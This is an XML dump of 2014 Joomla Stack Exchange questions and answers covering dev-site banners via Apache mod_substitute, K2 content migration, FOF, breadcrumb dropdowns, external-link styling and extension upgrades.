  <row Id="607" PostTypeId="2" ParentId="598" CreationDate="2014-05-05T12:55:53.537" Score="6" Body="&lt;p&gt;I have the same problem with clients sometimes creating content on the development version not production. I use the following to deal with this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change all database and password names&lt;/li&gt;&#xA;&lt;li&gt;Modify the admin template with&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;A different background for login screen&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;A different colour for the top bar&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use a module in a prominent position on the front end which clearly shows this is the production site&lt;/li&gt;&#xA;&lt;li&gt;On some sites I also force login to see the development site&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lzw8A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2014-05-06T11:01:28.630" LastActivityDate="2014-05-06T11:01:28.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="608" PostTypeId="2" ParentId="598" CreationDate="2014-05-05T14:16:11.983" Score="10" Body="&lt;p&gt;This is a rather very tech solution as it requires some experience in configuring Apache. The advantage is that you don't have to hack any files in the Joomla! installation itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I want to do is to append some HTML to any page (almost any page) being generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this I will use &lt;a href=&quot;http://httpd.apache.org/docs/current/mod/mod_substitute.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apache Module mod_substitute&lt;/a&gt;. The module itself needs to be activated (it generally just needs the # comment removed) inside &lt;code&gt;httpd.conf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LoadModule substitute_module modules/mod_substitute.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next in the virtual hosts file (&lt;code&gt;httpd-vhosts.conf&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *&amp;gt;&#xA;DocumentRoot &quot;C:\....&quot;&#xA;ServerName joomla-development&#xA;&#xA;AddOutputFilterByType SUBSTITUTE text/html&#xA;Substitute &quot;s|&amp;lt;/body&amp;gt;|&amp;lt;div style='position:fixed; left:100px; top:50px; background-color:red'&amp;gt;&amp;lt;h1&amp;gt;DEV WEBSITE&amp;lt;/h1&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;|i&quot;&#xA;&#xA;&amp;lt;Directory &quot;C:\....&quot;&amp;gt;&#xA;    AllowOverride All&#xA;    Require all granted&#xA;    Order allow,deny&#xA;    Allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically with &lt;code&gt;Substitute&lt;/code&gt; I am replacing the &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag with some HTML. This way I try to stay out of any Ajax request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mVv3t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-06T06:51:30.297" LastActivityDate="2014-05-06T06:51:30.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="610" PostTypeId="2" ParentId="598" CreationDate="2014-05-05T14:42:29.193" Score="4" Body="&lt;h3&gt;Another approach is to let your browser to add CSS styles to your site.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stylish&lt;/strong&gt; browser plugin (&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/stylish/?src=external-userstyleshome&quot; rel=&quot;nofollow noreferrer&quot;&gt;for Firefox&lt;/a&gt; and &lt;a href=&quot;https://chrome.google.com/webstore/detail/fjnbnpbmkenffdnngjfgmeleoegfcffe&quot; rel=&quot;nofollow noreferrer&quot;&gt;for Chrome&lt;/a&gt;) is designed for this task. It applies &lt;strong&gt;additional custom CSS&lt;/strong&gt; to every page at given URL. You actually define rules [URL]=&gt;[CSS].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dqI6z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Above example:&lt;/strong&gt; distinction can be made by adding solid or dotted line to the left&lt;br&gt;&#xA;&lt;strong&gt;Red&lt;/strong&gt; = production, &lt;strong&gt;Yellow&lt;/strong&gt; = pre-prod., &lt;strong&gt;Green&lt;/strong&gt; = TEST, &lt;strong&gt;Blue&lt;/strong&gt; = Training, &lt;strong&gt;Grey&lt;/strong&gt; = DEV etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can be applied to production site which is normally kept clean of visual aids.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Can be temporarily switched off by user if needed (for example for taking screenshots).&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Universal solution – can be applied to any site or its part (based on URL path).&lt;/li&gt;&#xA;&lt;li&gt;Can be used without administrator access to given website.&lt;/li&gt;&#xA;&lt;li&gt;Setup once, no maintenance if site changes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disadvantages:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Currently limited to Firefox and Chrome. (Still no problem for DEV/TEST/Support teams internally agreed on their primary browser.)&lt;/li&gt;&#xA;&lt;li&gt;Private sharing your style settings with other users takes a bit more work. For publicly known websites, this is not a problem – at &lt;a href=&quot;http://userstyles.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;userstyles.org&lt;/strong&gt;&lt;/a&gt; (plugin's home) thousands styles already exist. &lt;em&gt;Want to see StackOverflow in black or with less space between page sections?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-09-10T09:02:17.633" LastActivityDate="2014-09-10T09:02:17.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="611" PostTypeId="1" CreationDate="2014-04-29T12:05:12.367" Score="2" ViewCount="1478" Body="&lt;p&gt;I'm using Virtuemart component and I want to make small changes in helper/cart.php file without core hacking. Is it possible to make some override or extension of the class VirtueMartCart defined in helper/cart.php? How to do it?&lt;/p&gt;&#xA;" OwnerDisplayName="user3535149" LastEditorUserId="159" LastEditDate="2014-05-06T14:20:57.130" LastActivityDate="2014-05-06T14:25:28.510" Title="How to extend component helper class?" Tags="|joomla-2.5|overrides|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="612" PostTypeId="1" AcceptedAnswerId="615" CreationDate="2014-04-29T03:36:32.560" Score="5" ViewCount="13495" Body="&lt;p&gt;I've a large amount of Joomla's K2 Categories and Items in website A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to have whole K2 Categories and Items of Website A in Website B.&#xA;Are the any ways to export K2 data and import them into another website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more problem is that website A uses Joomla 2.5.x and Website B is using Joomla 3.x.&lt;/p&gt;&#xA;" OwnerUserId="311" OwnerDisplayName="Ata Iravani" LastEditorUserId="311" LastEditDate="2014-05-05T16:13:40.900" LastActivityDate="2016-03-16T17:41:40.907" Title="Export K2 content from a joomla web site and Import to another website" Tags="|migration|k2|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="613" PostTypeId="2" ParentId="612" CreationDate="2014-05-05T15:38:56.020" Score="3" Body="&lt;p&gt;There is a way by exporting required k2 tables in your hosting phpmyadmin in Site A and then import those tables in Site B database.in site B you have to have k2 installed, after export, to check if there are any k2 table column missing, you have to go extension manager-&gt;database page and need to click fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this kind of exporting, you have to export site A's user related tables in site B else k2 item, comments, users, usergroups tables' user related data will be incorrect. But if you don't care about these user related data then you have to manually modify fields data(like 'created by' in items table) in site A's exported sql file before importing to site B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually moved large k2 contents to one of my destination site by export and import successfully.I don't know if there are any worked out k2 extension available to do this.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2014-05-05T15:44:05.833" LastActivityDate="2014-05-05T15:44:05.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="614" PostTypeId="1" AcceptedAnswerId="616" CreationDate="2014-05-05T16:51:06.137" Score="0" ViewCount="256" Body="&lt;p&gt;Joomla has several MVC classes (model, view, controllers, table etc).&#xA;Now we have the FOF classes in library that can be used instead the default joomla classes in our components, but I don't see them being used in core components. Is there any chance FOF replaces the default MVC classes in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://www.akeebabackup.com/documentation/fof.html&quot; rel=&quot;nofollow&quot;&gt;FOF Developer's Guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-05-05T19:25:55.880" Title="Is there any chance FOF become the default way of do things in Joomla?" Tags="|component|development|mvc|fof|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="615" PostTypeId="2" ParentId="612" CreationDate="2014-05-05T18:20:48.583" Score="4" Body="&lt;p&gt;We actually bought a commercial plugin to do this. So far it seems to work well, without you having to mess with real database exports and getting into mysql.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.individual-it.net/en/Instructions-for-K2-Import-Component.html&quot; rel=&quot;nofollow&quot;&gt;K2 Import Component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-05-05T18:20:48.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="616" PostTypeId="2" ParentId="614" CreationDate="2014-05-05T19:25:55.880" Score="4" Body="&lt;p&gt;Currently, FOF is used for the postinstall messages and for the two factor authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the developer of FOF retracted his offer and is no longer contributing FOF to Joomla core.&#xA;Thus using it as default is out of question and we in fact have to refactor the existing uses of it.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-05T19:25:55.880" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="617" PostTypeId="1" CreationDate="2014-05-05T19:43:58.337" Score="3" ViewCount="381" Body="&lt;p&gt;Is there any extensions that would look like a breadcrumb + dropdown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ex a breadcrumb (path):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home &gt; Travel &gt; Fly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hover on Travel =&gt; dropdown with all subitems from Travel:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fly&lt;/li&gt;&#xA;&lt;li&gt;Car&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tried to search an extensions like that, but no success.&lt;/p&gt;&#xA;" OwnerUserId="338" LastEditorUserId="338" LastEditDate="2014-05-05T19:50:26.303" LastActivityDate="2014-05-06T22:32:33.090" Title="Breadcrumbs + DropDown functionality" Tags="|cms|extensions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="619" PostTypeId="2" ParentId="617" CreationDate="2014-05-05T23:46:24.633" Score="1" Body="&lt;p&gt;How comfortable are you with overrides?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I would do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a menu module that shows the menu levels I want displayed in my breadcrumbs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use joomla's native breadcrumbs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an override of the module (need instructions?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom of the ul in the module, call in the menu module previously made. I'm not sure if loadposition will work here, but Modules Anywhere will for sure (that's a &lt;a href=&quot;http://www.nonumber.nl/&quot; rel=&quot;nofollow&quot;&gt;No Number extension&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just style it up. Hide the menu module until the breadcrumb is hovered over, style them as desired, whatever works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this way? Because you have 100% control. There's nothing more annoying than going through 30 plugins only to find each one doesn't quite fit the bill. Plus, the less plugins, the better. I prefer to use native joomla whenever possible.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-05-05T23:46:24.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="620" PostTypeId="2" ParentId="600" CreationDate="2014-05-05T23:56:51.547" Score="8" Body="&lt;p&gt;Clients don't have access to the media folder by default. JCE, media manager, a number of galleries and banner sliders, they're all looking to the images folder for content data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We care more about making things easy and streamlined for our clients and keeping them out of trouble than we do about putting things where we're told, so we use images as the main content media folder. Inside we keep a &quot;files&quot; folder so they can upload pdfs or documents, and we let them organize images and other file types as desired. Background and layout images are kept elsewhere so they can't really destroy their site. Because they're not being permitted to travel outside the images tree, they can't go wrecking stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no way we'd want a client to have any access to the media folder. That's for plugins and components to access, not the content writers. Even as a developer I rarely need to go in there and do stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So moral of the story - media is for the CMS, images is for the CONTENT.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-05-05T23:56:51.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="621" PostTypeId="1" CreationDate="2014-05-06T03:47:07.193" Score="9" ViewCount="225" Body="&lt;p&gt;I've been working for joomla CMS for years, and now the project got more complex and its time for me to build custom solution beyond the CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I tried to find books about the Joomla Framework and online courses, but there's none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a tutorial series called &lt;a href=&quot;http://learn.theartofjoomla.com/framework-solutions.html&quot;&gt;Joomla Framework Solutions&lt;/a&gt; by Andrew Eddie&#xA;but the step one (getting started) has problem as the output keep 'telling me':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Configuration file could not be parsed&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, is there a dummy guide for Joomla Framework?&lt;/p&gt;&#xA;" OwnerUserId="341" LastEditorUserId="159" LastEditDate="2014-05-06T06:13:32.180" LastActivityDate="2014-05-06T14:15:09.960" Title="Joomla Framework : Getting Started Guide" Tags="|joomla-framework-1.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="622" PostTypeId="1" AcceptedAnswerId="627" CreationDate="2014-05-06T03:51:40.503" Score="3" ViewCount="264" Body="&lt;p&gt;&lt;strong&gt;How can I automatically handle hyperlinks leading outside my site?&lt;/strong&gt;&lt;br&gt;&#xA;Let's speak about site without user-contributed posts/comments so I can have admin access to all external links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;equip every external link with &lt;strong&gt;indicator&lt;/strong&gt;  similar to wikipedia-style &lt;img src=&quot;https://i.stack.imgur.com/9oSAz.png&quot; alt=&quot;external link&quot;&gt; icon&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;automatically open external links in &lt;strong&gt;new window&lt;/strong&gt; (&lt;code&gt;target=&quot;_blank&quot;&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;optionally&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.1. mass-check external links for validity (indicate &lt;strong&gt;broken links&lt;/strong&gt;) so I can fix them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.2. collect extenal link &lt;strong&gt;click statistics&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.3. get possibility to display &lt;strong&gt;exit page&lt;/strong&gt; (or tooltip) with information or disclaimer before leaving the site&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-05-06T08:23:37.360" LastActivityDate="2014-05-06T15:17:09.863" Title="How to automatically distinguish and audit external links?" Tags="|cms|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="623" PostTypeId="2" ParentId="621" CreationDate="2014-05-06T06:09:48.337" Score="4" Body="&lt;h1&gt;Tutorials&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Framework%3aCreating_a_Stand-alone_Application&quot; rel=&quot;nofollow&quot;&gt;Creating a Stand-alone Application&lt;/a&gt;, from Joomla! Documentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.escope.cz/en/blog/116-how-to-develop-a-web-app-with-joomla-framework&quot; rel=&quot;nofollow&quot;&gt;How to develop a web app with Joomla framework&lt;/a&gt;, by escope.cz&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Project examples&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;David Hurley has created a sample app running on the Framework, called &lt;a href=&quot;https://github.com/dbhurley/framework-app&quot; rel=&quot;nofollow&quot;&gt;Joomla! Framework Sample Application.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-06T06:15:44.640" LastActivityDate="2014-05-06T06:15:44.640" CommentCount="0" CommunityOwnedDate="2014-05-06T06:09:48.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="624" PostTypeId="1" AcceptedAnswerId="630" CreationDate="2014-05-06T07:35:32.463" Score="2" ViewCount="404" Body="&lt;p&gt;I've searched around a bit but didn't find a guide yet. Something with a checklist would be great. &lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2014-05-07T04:20:02.977" Title="Is there a guide to updating a 2.5 extension to 3.x?" Tags="|joomla-3.x|migration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="625" PostTypeId="2" ParentId="575" CreationDate="2014-05-06T07:54:56.303" Score="3" Body="&lt;p&gt;One small thing to add with regard to Rouven's method; browser support is better for attribute selectors than it is for the language pseudo selector, so you might want to consider using something like this to target your styles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[lang=&quot;en-GB&quot;] .artist {…}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2014-05-12T08:19:59.637" LastActivityDate="2014-05-12T08:19:59.637" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="626" PostTypeId="1" AcceptedAnswerId="635" CreationDate="2014-05-06T07:56:50.560" Score="4" ViewCount="92" Body="&lt;p&gt;Can anyone here share some light on how these Joomla docs were made &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://issues.joomla.org/documentation/&quot; rel=&quot;nofollow&quot;&gt;http://issues.joomla.org/documentation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the docs are pulled from github MD files but &#xA;if someone could explain the process since I am not finding exact how to's. &lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="115" LastEditDate="2016-01-05T00:18:23.747" LastActivityDate="2016-01-05T00:18:23.747" Title="How is the Joomla Issue Tracker documentation generated?" Tags="|joomla-api|documentation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="627" PostTypeId="2" ParentId="622" CreationDate="2014-05-06T08:09:20.373" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The first one is very easy, you can do that with just some css assuming you haven't added http:// to all your internal links then you can target external ones like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a[href^=&quot;http://&quot;] {…}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can apply any styling you like, including a background image or icon to those links.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have access to all the links simply add the code you gave to each:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default behaviour is to not do that of course, so you must either add that attribute to each or subvert this behaviour with Javascript, like this: &lt;a href=&quot;http://css-tricks.com/snippets/jquery/open-external-links-in-new-window/&quot; rel=&quot;nofollow&quot;&gt;http://css-tricks.com/snippets/jquery/open-external-links-in-new-window/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;3.1. Use Webmaster Tools.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;3.2 You can collect link stats by using com_weblinks to create links and then  track the results.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;3.3. Javascript.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="296" LastEditorUserId="144" LastEditDate="2014-05-06T14:17:38.413" LastActivityDate="2014-05-06T14:17:38.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="628" PostTypeId="2" ParentId="624" CreationDate="2014-05-06T08:22:57.587" Score="1" Body="&lt;p&gt;There is a doc page explaining the potential backward compatibility issues between 2.5 and 3.x. &lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you don't use any of the deprecated and removed methods found in there and the extension should work in J3.x.&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-05-06T08:57:37.933" LastActivityDate="2014-05-06T08:57:37.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="629" PostTypeId="1" AcceptedAnswerId="636" CreationDate="2014-05-06T09:06:53.877" Score="6" ViewCount="2859" Body="&lt;p&gt;I have a request from a client that the joomla 3.2 is sending email to the admin to approve and to the user that they must wait to be approved, but they would like to have email also sent to the user on activation.&#xA; &quot;When the Activate button is pressed for a user please email them&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible or are there any plugins for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2017-04-28T18:12:24.627" Title="Can Joomla send the user an email when admin approves them?" Tags="|joomla-3.x|user|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="630" PostTypeId="2" ParentId="624" CreationDate="2014-05-06T09:13:00.693" Score="6" Body="&lt;p&gt;While not an as extensive guide as &lt;a href=&quot;http://docs.joomla.org/J2.5%3aAdapting_a_Joomla_1.5_extension_to_Joomla_2.5&quot; rel=&quot;nofollow&quot;&gt;Adapting a Joomla 1.5 extension to Joomla 2.5&lt;/a&gt; these two backwards compatibility articles on &lt;a href=&quot;http://docs.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla Doc's&lt;/a&gt; helped us.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_2.5_and_Joomla_Platform_11.4&quot; rel=&quot;nofollow&quot;&gt;Potential backward compatibility issues in Joomla 2.5 and Joomla Platform 11.4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot; rel=&quot;nofollow&quot;&gt;Potential backward compatibility issues in Joomla 3 and Joomla_Platform 12.&lt;/a&gt;2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nick also found this non-Joomla Doc's article:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://macrotoneconsulting.co.uk/index.php/Company/extension-changes-for-joomla-3-0.html&quot; rel=&quot;nofollow&quot;&gt;Extension Changes for Joomla 3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-05-07T04:20:02.977" LastActivityDate="2014-05-07T04:20:02.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="631" PostTypeId="1" AcceptedAnswerId="632" CreationDate="2014-05-06T11:22:55.500" Score="3" ViewCount="1215" Body="&lt;p&gt;I have been using the GeSHi plugin for syntax highlighting on my Joomla 3 installation for few weeks.  The highlighting has been working fine.  But ever since I upgraded to Joomla 3.3 the highlighting has no colors.  The code is still being formatted as before, but without the color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm entering the tags (i.e. &lt;code&gt;&amp;lt;pre xml:lang=&quot;SQL&quot;&amp;gt;&lt;/code&gt;) as before using the HTML editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else noticed this or knows what this may be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="277" LastActivityDate="2015-05-08T20:44:27.203" Title="GeSHi shows no syntax colors with Joomla 3.3" Tags="|joomla-3.x|extensions|plugin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="632" PostTypeId="2" ParentId="631" CreationDate="2014-05-06T11:36:10.713" Score="4" Body="&lt;p&gt;The Geshi plugin has been removed from Joomla which is why it won't be working. You can see the pull request for it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/746&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/746&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To highlight your code from now on, you will need to use a 3rd party extensions from the &lt;a href=&quot;http://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration&quot; rel=&quot;nofollow&quot;&gt;Coding &amp;amp; Scripts Integration &lt;/a&gt; category.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="3486" LastEditDate="2015-05-08T20:44:27.203" LastActivityDate="2015-05-08T20:44:27.203" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="633" PostTypeId="2" ParentId="626" CreationDate="2014-05-06T12:03:43.520" Score="5" Body="&lt;p&gt;So the JIssues tracker uses the Joomla Framework - so some of the github dependencies are bundled in via composer from &lt;a href=&quot;https://github.com/joomla-framework/github-api&quot;&gt;https://github.com/joomla-framework/github-api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific code from the md files here &lt;a href=&quot;https://github.com/joomla/jissues/tree/master/Documentation&quot;&gt;https://github.com/joomla/jissues/tree/master/Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that grabs them for rendering is here: &lt;a href=&quot;https://github.com/joomla/jissues/tree/master/src/App/Support&quot;&gt;https://github.com/joomla/jissues/tree/master/src/App/Support&lt;/a&gt; (the file tree with the jQuery tree plugin is in the controller Filetree.php etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally the rendering is in a twig template found here: &lt;a href=&quot;https://github.com/joomla/jissues/blob/master/templates/support/documentation.index.twig&quot;&gt;https://github.com/joomla/jissues/blob/master/templates/support/documentation.index.twig&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-05-06T12:03:43.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
